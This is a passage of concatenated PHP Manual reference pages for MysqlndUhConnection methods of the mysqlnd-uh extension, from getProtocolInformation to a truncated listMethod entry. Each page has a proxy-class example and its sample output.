MysqlndUhConnection::getLastMessage
MysqlndUhConnection::getServerInformation
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getProtocolInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getProtocolInformation — Returns the version of the MySQL protocol used

Description

public string MysqlndUhConnection::getProtocolInformation ( mysqlnd_connection $connection )

Returns the version of the MySQL protocol used.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The protocol version.

Examples

Example #1 MysqlndUhConnection::getProtocolInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function getProtocolInformation($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getProtocolInformation($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->protocol_version);
?>

The above example will output:

proxy::getProtocolInformation(array (
  0 => NULL,
))
proxy::getProtocolInformation returns 10
int(10)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_proto_info() - Returns the version of the MySQL protocol used
  • mysql_get_proto_info() - Get MySQL protocol info

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getLastMessage
MysqlndUhConnection::getServerInformation
MysqlndUhConnection


Returns the version of the MySQL server

MysqlndUhConnection::getProtocolInformation
MysqlndUhConnection::getServerStatistics
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getServerInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getServerInformation — Returns the version of the MySQL server

Description

public string MysqlndUhConnection::getServerInformation ( mysqlnd_connection $connection )

Returns the version of the MySQL server.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The server version.

Examples

Example #1 MysqlndUhConnection::getServerInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function getServerInformation($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getServerInformation($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->server_info);
?>

The above example will output:

proxy::getServerInformation(array (
  0 => NULL,
))
proxy::getServerInformation returns '5.1.45-debug-log'
string(16) "5.1.45-debug-log"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysql_get_server_info() - Get MySQL server info

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getProtocolInformation
MysqlndUhConnection::getServerStatistics
MysqlndUhConnection


Gets the current system status

MysqlndUhConnection::getServerInformation
MysqlndUhConnection::getServerVersion
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getServerStatistics

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getServerStatistics — Gets the current system status

Description

public string MysqlndUhConnection::getServerStatistics ( mysqlnd_connection $connection )

Gets the current system status.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The system status message.

Examples

Example #1 MysqlndUhConnection::getServerStatistics() example

<?php
class proxy extends MysqlndUhConnection {
 public function getServerStatistics($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getServerStatistics($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump(mysqli_stat($mysqli));
?>

The above example will output:

proxy::getServerStatistics(array (
  0 => NULL,
))
proxy::getServerStatistics returns 'Uptime: 2059995  Threads: 1  Questions: 126157  Slow queries: 0  Opens: 6377  Flush tables: 1  Open tables: 18  Queries per second avg: 0.61'
string(140) "Uptime: 2059995  Threads: 1  Questions: 126157  Slow queries: 0  Opens: 6377  Flush tables: 1  Open tables: 18  Queries per second avg: 0.61"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_stat() - Gets the current system status
  • mysql_stat() - Get current system status

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getServerInformation
MysqlndUhConnection::getServerVersion
MysqlndUhConnection


Returns the version of the MySQL server as an integer

MysqlndUhConnection::getServerStatistics
MysqlndUhConnection::getSqlstate
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getServerVersion

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getServerVersion — Returns the version of the MySQL server as an integer

Description

public int MysqlndUhConnection::getServerVersion ( mysqlnd_connection $connection )

Returns the version of the MySQL server as an integer.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The MySQL version.

Examples

Example #1 MysqlndUhConnection::getServerVersion() example

<?php
class proxy extends MysqlndUhConnection {
 public function getServerVersion($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getServerVersion($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->server_version);
?>

The above example will output:

proxy::getServerVersion(array (
  0 => NULL,
))
proxy::getServerVersion returns 50145
int(50145)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer
  • mysql_get_server_version()

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getServerStatistics
MysqlndUhConnection::getSqlstate
MysqlndUhConnection


Returns the SQLSTATE error from previous MySQL operation

MysqlndUhConnection::getServerVersion
MysqlndUhConnection::getStatistics
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getSqlstate

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getSqlstate — Returns the SQLSTATE error from previous MySQL operation

Description

public string MysqlndUhConnection::getSqlstate ( mysqlnd_connection $connection )

Returns the SQLSTATE error from previous MySQL operation.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The SQLSTATE code.

Examples

Example #1 MysqlndUhConnection::getSqlstate() example

<?php
class proxy extends MysqlndUhConnection {
 public function getSqlstate($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getSqlstate($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->sqlstate);
$mysqli->query("AN_INVALID_REQUEST_TO_PROVOKE_AN_ERROR");
var_dump($mysqli->sqlstate);
?>

The above example will output:

proxy::getSqlstate(array (
  0 => NULL,
))
proxy::getSqlstate returns '00000'
string(5) "00000"
proxy::getSqlstate(array (
  0 => NULL,
))
proxy::getSqlstate returns '42000'
string(5) "42000"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_sql_state()

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getServerVersion
MysqlndUhConnection::getStatistics
MysqlndUhConnection


Returns statistics about the client connection.

MysqlndUhConnection::getSqlstate
MysqlndUhConnection::getThreadId
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getStatistics

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getStatistics — Returns statistics about the client connection.

Description

public array MysqlndUhConnection::getStatistics ( mysqlnd_connection $connection )

Returns statistics about the client connection.

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Connection statistics collected by mysqlnd.

Examples

Example #1 MysqlndUhConnection::getStatistics() example

<?php
class proxy extends MysqlndUhConnection {
 public function getStatistics($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getStatistics($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->get_connection_stats());
?>

The above example will output:

proxy::getStatistics(array (
  0 => NULL,
))
proxy::getStatistics returns array (
  'bytes_sent' => '73',
  'bytes_received' => '77',
  'packets_sent' => '2',
  'packets_received' => '2',
  'protocol_overhead_in' => '8',
  'protocol_overhead_out' => '8',
  'bytes_received_ok_packet' => '0',
  'bytes_received_eof_packet' => '0',
  'bytes_received_rset_header_packet' => '0',
  'bytes_received_rset_field_meta_packet' => '0',
  'bytes_received_rset_row_packet' => '0',
  'bytes_received_prepare_response_packet' => '0',
  'bytes_received_change_user_packet' => '0',
  'packets_sent_command' => '0',
  'packets_received_ok' => '0',
  'packets_received_eof' => '0',
  'packets_received_rset_header' => '0',
  'packets_received_rset_field_meta' => '0',
  'packets_received_rset_row' => '0',
  'packets_received_prepare_response' => '0',
  'packets_received_change_user' => '0',
  'result_set_queries' => '0',
  'non_result_set_queries' => '0',
  'no_index_used' => '0',
  'bad_index_used' => '0',
  'slow_queries' => '0',
  'buffered_sets' => '0',
  'unbuffered_sets' => '0',
  'ps_buffered_sets' => '0',
  'ps_unbuffered_sets' => '0',
  'flushed_normal_sets' => '0',
  'flushed_ps_sets' => '0',
  'ps_prepared_never_executed' => '0',
  'ps_prepared_once_executed' => '0',
  'rows_fetched_from_server_normal' => '0',
  'rows_fetched_from_server_ps' => '0',
  'rows_buffered_from_client_normal' => '0',
  'rows_buffered_from_client_ps' => '0',
  'rows_fetched_from_client_normal_buffered' => '0',
  'rows_fetched_from_client_normal_unbuffered' => '0',
  'rows_fetched_from_client_ps_buffered' => '0',
  'rows_fetched_from_client_ps_unbuffered' => '0',
  'rows_fetched_from_client_ps_cursor' => '0',
  'rows_affected_normal' => '0',
  'rows_affected_ps' => '0',
  'rows_skipped_normal' => '0',
  'rows_skipped_ps' => '0',
  'copy_on_write_saved' => '0',
  'copy_on_write_performed' => '0',
  'command_buffer_too_small' => '0',
  'connect_success' => '1',
  'connect_failure' => '0',
  'connection_reused' => '0',
  'reconnect' => '0',
  'pconnect_success' => '0',
  'active_connections' => '1',
  'active_persistent_connections' => '0',
  'explicit_close' => '0',
  'implicit_close' => '0',
  'disconnect_close' => '0',
  'in_middle_of_command_close' => '0',
  'explicit_free_result' => '0',
  'implicit_free_result' => '0',
  'explicit_stmt_close' => '0',
  'implicit_stmt_close' => '0',
  'mem_emalloc_count' => '0',
  'mem_emalloc_amount' => '0',
  'mem_ecalloc_count' => '0',
  'mem_ecalloc_amount' => '0',
  'mem_erealloc_count' => '0',
  'mem_erealloc_amount' => '0',
  'mem_efree_count' => '0',
  'mem_efree_amount' => '0',
  'mem_malloc_count' => '0',
  'mem_malloc_amount' => '0',
  'mem_calloc_count' => '0',
  'mem_calloc_amount' => '0',
  'mem_realloc_count' => '0',
  'mem_realloc_amount' => '0',
  'mem_free_count' => '0',
  'mem_free_amount' => '0',
  'mem_estrndup_count' => '0',
  'mem_strndup_count' => '0',
  'mem_estndup_count' => '0',
  'mem_strdup_count' => '0',
  'proto_text_fetched_null' => '0',
  'proto_text_fetched_bit' => '0',
  'proto_text_fetched_tinyint' => '0',
  'proto_text_fetched_short' => '0',
  'proto_text_fetched_int24' => '0',
  'proto_text_fetched_int' => '0',
  'proto_text_fetched_bigint' => '0',
  'proto_text_fetched_decimal' => '0',
  'proto_text_fetched_float' => '0',
  'proto_text_fetched_double' => '0',
  'proto_text_fetched_date' => '0',
  'proto_text_fetched_year' => '0',
  'proto_text_fetched_time' => '0',
  'proto_text_fetched_datetime' => '0',
  'proto_text_fetched_timestamp' => '0',
  'proto_text_fetched_string' => '0',
  'proto_text_fetched_blob' => '0',
  'proto_text_fetched_enum' => '0',
  'proto_text_fetched_set' => '0',
  'proto_text_fetched_geometry' => '0',
  'proto_text_fetched_other' => '0',
  'proto_binary_fetched_null' => '0',
  'proto_binary_fetched_bit' => '0',
  'proto_binary_fetched_tinyint' => '0',
  'proto_binary_fetched_short' => '0',
  'proto_binary_fetched_int24' => '0',
  'proto_binary_fetched_int' => '0',
  'proto_binary_fetched_bigint' => '0',
  'proto_binary_fetched_decimal' => '0',
  'proto_binary_fetched_float' => '0',
  'proto_binary_fetched_double' => '0',
  'proto_binary_fetched_date' => '0',
  'proto_binary_fetched_year' => '0',
  'proto_binary_fetched_time' => '0',
  'proto_binary_fetched_datetime' => '0',
  'proto_binary_fetched_timestamp' => '0',
  'proto_binary_fetched_string' => '0',
  'proto_binary_fetched_blob' => '0',
  'proto_binary_fetched_enum' => '0',
  'proto_binary_fetched_set' => '0',
  'proto_binary_fetched_geometry' => '0',
  'proto_binary_fetched_other' => '0',
  'init_command_executed_count' => '0',
  'init_command_failed_count' => '0',
  'com_quit' => '0',
  'com_init_db' => '0',
  'com_query' => '0',
  'com_field_list' => '0',
  'com_create_db' => '0',
  'com_drop_db' => '0',
  'com_refresh' => '0',
  'com_shutdown' => '0',
  'com_statistics' => '0',
  'com_process_info' => '0',
  'com_connect' => '0',
  'com_process_kill' => '0',
  'com_debug' => '0',
  'com_ping' => '0',
  'com_time' => '0',
  'com_delayed_insert' => '0',
  'com_change_user' => '0',
  'com_binlog_dump' => '0',
  'com_table_dump' => '0',
  'com_connect_out' => '0',
  'com_register_slave' => '0',
  'com_stmt_prepare' => '0',
  'com_stmt_execute' => '0',
  'com_stmt_send_long_data' => '0',
  'com_stmt_close' => '0',
  'com_stmt_reset' => '0',
  'com_stmt_set_option' => '0',
  'com_stmt_fetch' => '0',
  'com_deamon' => '0',
  'bytes_received_real_data_normal' => '0',
  'bytes_received_real_data_ps' => '0',
)
array(160) {
  ["bytes_sent"]=>
  string(2) "73"
  ["bytes_received"]=>
  string(2) "77"
  ["packets_sent"]=>
  string(1) "2"
  ["packets_received"]=>
  string(1) "2"
  ["protocol_overhead_in"]=>
  string(1) "8"
  ["protocol_overhead_out"]=>
  string(1) "8"
  ["bytes_received_ok_packet"]=>
  string(1) "0"
  ["bytes_received_eof_packet"]=>
  string(1) "0"
  ["bytes_received_rset_header_packet"]=>
  string(1) "0"
  ["bytes_received_rset_field_meta_packet"]=>
  string(1) "0"
  ["bytes_received_rset_row_packet"]=>
  string(1) "0"
  ["bytes_received_prepare_response_packet"]=>
  string(1) "0"
  ["bytes_received_change_user_packet"]=>
  string(1) "0"
  ["packets_sent_command"]=>
  string(1) "0"
  ["packets_received_ok"]=>
  string(1) "0"
  ["packets_received_eof"]=>
  string(1) "0"
  ["packets_received_rset_header"]=>
  string(1) "0"
  ["packets_received_rset_field_meta"]=>
  string(1) "0"
  ["packets_received_rset_row"]=>
  string(1) "0"
  ["packets_received_prepare_response"]=>
  string(1) "0"
  ["packets_received_change_user"]=>
  string(1) "0"
  ["result_set_queries"]=>
  string(1) "0"
  ["non_result_set_queries"]=>
  string(1) "0"
  ["no_index_used"]=>
  string(1) "0"
  ["bad_index_used"]=>
  string(1) "0"
  ["slow_queries"]=>
  string(1) "0"
  ["buffered_sets"]=>
  string(1) "0"
  ["unbuffered_sets"]=>
  string(1) "0"
  ["ps_buffered_sets"]=>
  string(1) "0"
  ["ps_unbuffered_sets"]=>
  string(1) "0"
  ["flushed_normal_sets"]=>
  string(1) "0"
  ["flushed_ps_sets"]=>
  string(1) "0"
  ["ps_prepared_never_executed"]=>
  string(1) "0"
  ["ps_prepared_once_executed"]=>
  string(1) "0"
  ["rows_fetched_from_server_normal"]=>
  string(1) "0"
  ["rows_fetched_from_server_ps"]=>
  string(1) "0"
  ["rows_buffered_from_client_normal"]=>
  string(1) "0"
  ["rows_buffered_from_client_ps"]=>
  string(1) "0"
  ["rows_fetched_from_client_normal_buffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_normal_unbuffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_ps_buffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_ps_unbuffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_ps_cursor"]=>
  string(1) "0"
  ["rows_affected_normal"]=>
  string(1) "0"
  ["rows_affected_ps"]=>
  string(1) "0"
  ["rows_skipped_normal"]=>
  string(1) "0"
  ["rows_skipped_ps"]=>
  string(1) "0"
  ["copy_on_write_saved"]=>
  string(1) "0"
  ["copy_on_write_performed"]=>
  string(1) "0"
  ["command_buffer_too_small"]=>
  string(1) "0"
  ["connect_success"]=>
  string(1) "1"
  ["connect_failure"]=>
  string(1) "0"
  ["connection_reused"]=>
  string(1) "0"
  ["reconnect"]=>
  string(1) "0"
  ["pconnect_success"]=>
  string(1) "0"
  ["active_connections"]=>
  string(1) "1"
  ["active_persistent_connections"]=>
  string(1) "0"
  ["explicit_close"]=>
  string(1) "0"
  ["implicit_close"]=>
  string(1) "0"
  ["disconnect_close"]=>
  string(1) "0"
  ["in_middle_of_command_close"]=>
  string(1) "0"
  ["explicit_free_result"]=>
  string(1) "0"
  ["implicit_free_result"]=>
  string(1) "0"
  ["explicit_stmt_close"]=>
  string(1) "0"
  ["implicit_stmt_close"]=>
  string(1) "0"
  ["mem_emalloc_count"]=>
  string(1) "0"
  ["mem_emalloc_amount"]=>
  string(1) "0"
  ["mem_ecalloc_count"]=>
  string(1) "0"
  ["mem_ecalloc_amount"]=>
  string(1) "0"
  ["mem_erealloc_count"]=>
  string(1) "0"
  ["mem_erealloc_amount"]=>
  string(1) "0"
  ["mem_efree_count"]=>
  string(1) "0"
  ["mem_efree_amount"]=>
  string(1) "0"
  ["mem_malloc_count"]=>
  string(1) "0"
  ["mem_malloc_amount"]=>
  string(1) "0"
  ["mem_calloc_count"]=>
  string(1) "0"
  ["mem_calloc_amount"]=>
  string(1) "0"
  ["mem_realloc_count"]=>
  string(1) "0"
  ["mem_realloc_amount"]=>
  string(1) "0"
  ["mem_free_count"]=>
  string(1) "0"
  ["mem_free_amount"]=>
  string(1) "0"
  ["mem_estrndup_count"]=>
  string(1) "0"
  ["mem_strndup_count"]=>
  string(1) "0"
  ["mem_estndup_count"]=>
  string(1) "0"
  ["mem_strdup_count"]=>
  string(1) "0"
  ["proto_text_fetched_null"]=>
  string(1) "0"
  ["proto_text_fetched_bit"]=>
  string(1) "0"
  ["proto_text_fetched_tinyint"]=>
  string(1) "0"
  ["proto_text_fetched_short"]=>
  string(1) "0"
  ["proto_text_fetched_int24"]=>
  string(1) "0"
  ["proto_text_fetched_int"]=>
  string(1) "0"
  ["proto_text_fetched_bigint"]=>
  string(1) "0"
  ["proto_text_fetched_decimal"]=>
  string(1) "0"
  ["proto_text_fetched_float"]=>
  string(1) "0"
  ["proto_text_fetched_double"]=>
  string(1) "0"
  ["proto_text_fetched_date"]=>
  string(1) "0"
  ["proto_text_fetched_year"]=>
  string(1) "0"
  ["proto_text_fetched_time"]=>
  string(1) "0"
  ["proto_text_fetched_datetime"]=>
  string(1) "0"
  ["proto_text_fetched_timestamp"]=>
  string(1) "0"
  ["proto_text_fetched_string"]=>
  string(1) "0"
  ["proto_text_fetched_blob"]=>
  string(1) "0"
  ["proto_text_fetched_enum"]=>
  string(1) "0"
  ["proto_text_fetched_set"]=>
  string(1) "0"
  ["proto_text_fetched_geometry"]=>
  string(1) "0"
  ["proto_text_fetched_other"]=>
  string(1) "0"
  ["proto_binary_fetched_null"]=>
  string(1) "0"
  ["proto_binary_fetched_bit"]=>
  string(1) "0"
  ["proto_binary_fetched_tinyint"]=>
  string(1) "0"
  ["proto_binary_fetched_short"]=>
  string(1) "0"
  ["proto_binary_fetched_int24"]=>
  string(1) "0"
  ["proto_binary_fetched_int"]=>
  string(1) "0"
  ["proto_binary_fetched_bigint"]=>
  string(1) "0"
  ["proto_binary_fetched_decimal"]=>
  string(1) "0"
  ["proto_binary_fetched_float"]=>
  string(1) "0"
  ["proto_binary_fetched_double"]=>
  string(1) "0"
  ["proto_binary_fetched_date"]=>
  string(1) "0"
  ["proto_binary_fetched_year"]=>
  string(1) "0"
  ["proto_binary_fetched_time"]=>
  string(1) "0"
  ["proto_binary_fetched_datetime"]=>
  string(1) "0"
  ["proto_binary_fetched_timestamp"]=>
  string(1) "0"
  ["proto_binary_fetched_string"]=>
  string(1) "0"
  ["proto_binary_fetched_blob"]=>
  string(1) "0"
  ["proto_binary_fetched_enum"]=>
  string(1) "0"
  ["proto_binary_fetched_set"]=>
  string(1) "0"
  ["proto_binary_fetched_geometry"]=>
  string(1) "0"
  ["proto_binary_fetched_other"]=>
  string(1) "0"
  ["init_command_executed_count"]=>
  string(1) "0"
  ["init_command_failed_count"]=>
  string(1) "0"
  ["com_quit"]=>
  string(1) "0"
  ["com_init_db"]=>
  string(1) "0"
  ["com_query"]=>
  string(1) "0"
  ["com_field_list"]=>
  string(1) "0"
  ["com_create_db"]=>
  string(1) "0"
  ["com_drop_db"]=>
  string(1) "0"
  ["com_refresh"]=>
  string(1) "0"
  ["com_shutdown"]=>
  string(1) "0"
  ["com_statistics"]=>
  string(1) "0"
  ["com_process_info"]=>
  string(1) "0"
  ["com_connect"]=>
  string(1) "0"
  ["com_process_kill"]=>
  string(1) "0"
  ["com_debug"]=>
  string(1) "0"
  ["com_ping"]=>
  string(1) "0"
  ["com_time"]=>
  string(1) "0"
  ["com_delayed_insert"]=>
  string(1) "0"
  ["com_change_user"]=>
  string(1) "0"
  ["com_binlog_dump"]=>
  string(1) "0"
  ["com_table_dump"]=>
  string(1) "0"
  ["com_connect_out"]=>
  string(1) "0"
  ["com_register_slave"]=>
  string(1) "0"
  ["com_stmt_prepare"]=>
  string(1) "0"
  ["com_stmt_execute"]=>
  string(1) "0"
  ["com_stmt_send_long_data"]=>
  string(1) "0"
  ["com_stmt_close"]=>
  string(1) "0"
  ["com_stmt_reset"]=>
  string(1) "0"
  ["com_stmt_set_option"]=>
  string(1) "0"
  ["com_stmt_fetch"]=>
  string(1) "0"
  ["com_deamon"]=>
  string(1) "0"
  ["bytes_received_real_data_normal"]=>
  string(1) "0"
  ["bytes_received_real_data_ps"]=>
  string(1) "0"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_connection_stats() - Returns statistics about the client connection

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getSqlstate
MysqlndUhConnection::getThreadId
MysqlndUhConnection


Returns the thread ID for the current connection

MysqlndUhConnection::getStatistics
MysqlndUhConnection::getWarningCount
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getThreadId

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getThreadId — Returns the thread ID for the current connection

Description

public int MysqlndUhConnection::getThreadId ( mysqlnd_connection $connection )

Returns the thread ID for the current connection.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Connection thread id.

Examples

Example #1 MysqlndUhConnection::getThreadId() example

<?php
class proxy extends MysqlndUhConnection {
 public function getThreadId($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getThreadId($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->thread_id);
?>

The above example will output:

proxy::getThreadId(array (
  0 => NULL,
))
proxy::getThreadId returns 27646
int(27646)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_thread_id() - Returns the thread ID for the current connection
  • mysql_thread_id() - Return the current thread ID

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getStatistics
MysqlndUhConnection::getWarningCount
MysqlndUhConnection


Returns the number of warnings from the last query for the given link

MysqlndUhConnection::getThreadId
MysqlndUhConnection::init
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getWarningCount

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getWarningCount — Returns the number of warnings from the last query for the given link

Description

public int MysqlndUhConnection::getWarningCount ( mysqlnd_connection $connection )

Returns the number of warnings from the last query for the given link.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Number of warnings.

Examples

Example #1 MysqlndUhConnection::getWarningCount() example

<?php
class proxy extends MysqlndUhConnection {
 public function getWarningCount($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getWarningCount($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->warning_count);
?>

The above example will output:

proxy::getWarningCount(array (
  0 => NULL,
))
proxy::getWarningCount returns 0
int(0)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_warning_count() - Returns the number of warnings from the last query for the given link

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getThreadId
MysqlndUhConnection::init
MysqlndUhConnection


Initialize mysqlnd connection

MysqlndUhConnection::getWarningCount
MysqlndUhConnection::killConnection
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::init

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::init — Initialize mysqlnd connection

Description

public bool MysqlndUhConnection::init ( mysqlnd_connection $connection )

Initialize mysqlnd connection. This is an mysqlnd internal call to initialize the connection object.

Note:

Failing to call the parent implementation may cause memory leaks or crash PHP. This is not considered a bug. Please, keep in mind that the mysqlnd library functions have never been designed to be exposed to the user space.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::init() example

<?php
class proxy extends MysqlndUhConnection {
 public function init($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::init($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

proxy::init(array (
  0 => NULL,
))
proxy::init returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getWarningCount
MysqlndUhConnection::killConnection
MysqlndUhConnection


Asks the server to kill a MySQL thread

MysqlndUhConnection::init
MysqlndUhConnection::listFields
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::killConnection

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::killConnection — Asks the server to kill a MySQL thread

Description

public bool MysqlndUhConnection::killConnection ( mysqlnd_connection $connection , int $pid )

Asks the server to kill a MySQL thread.

Parameters

connection

Mysqlnd connection handle. Do not modify!

pid

Thread Id of the connection to be killed.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::kill() example

<?php
class proxy extends MysqlndUhConnection {
 public function killConnection($res, $pid) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::killConnection($res, $pid);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->kill($mysqli->thread_id);
?>

The above example will output:

proxy::killConnection(array (
  0 => NULL,
  1 => 27650,
))
proxy::killConnection returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_kill() - Asks the server to kill a MySQL thread

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::init
MysqlndUhConnection::listFields
MysqlndUhConnection


List MySQL table fields

MysqlndUhConnection::killConnection
MysqlndUhConnection::listMethod
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::listFields

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::listFields — List MySQL table fields

Description

public array MysqlndUhConnection::listFields ( mysqlnd_connection $connection , string $table , string $achtung_wild )

List MySQL table fields.

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

table

The name of the table that's being queried.

pattern

Name pattern.

Return Values

Examples

Example #1 MysqlndUhConnection::listFields() example

<?php
class proxy extends MysqlndUhConnection {
 public function listFields($res, $table, $pattern) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::listFields($res, $table, $pattern);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysql = mysql_connect("localhost", "root", "");
mysql_select_db("test", $mysql);
mysql_query("DROP TABLE IF EXISTS test_a", $mysql);
mysql_query("CREATE TABLE test_a(id INT, col1 VARCHAR(255))", $mysql);
$res = mysql_list_fields("test", "test_a", $mysql);
printf("num_rows = %d\n", mysql_num_rows($res));
while ($row = mysql_fetch_assoc($res))
 var_dump($row);
?>

The above example will output:

proxy::listFields(array (
  0 => NULL,
  1 => 'test_a',
  2 => '',
))
proxy::listFields returns NULL
num_rows = 0

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysql_list_fields() - List MySQL table fields

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::killConnection
MysqlndUhConnection::listMethod
MysqlndUhConnection


Wrapper for assorted list commands

MysqlndUhConnection::listFields
MysqlndUhConnection::moreResults
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::listMethod

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::listMethod — Wrapper for assorted list commands

Description

public void MysqlndUhConnection::listMethod ( mysqlnd_connection $connection , string $query , string $achtung_wild , string $par1 )

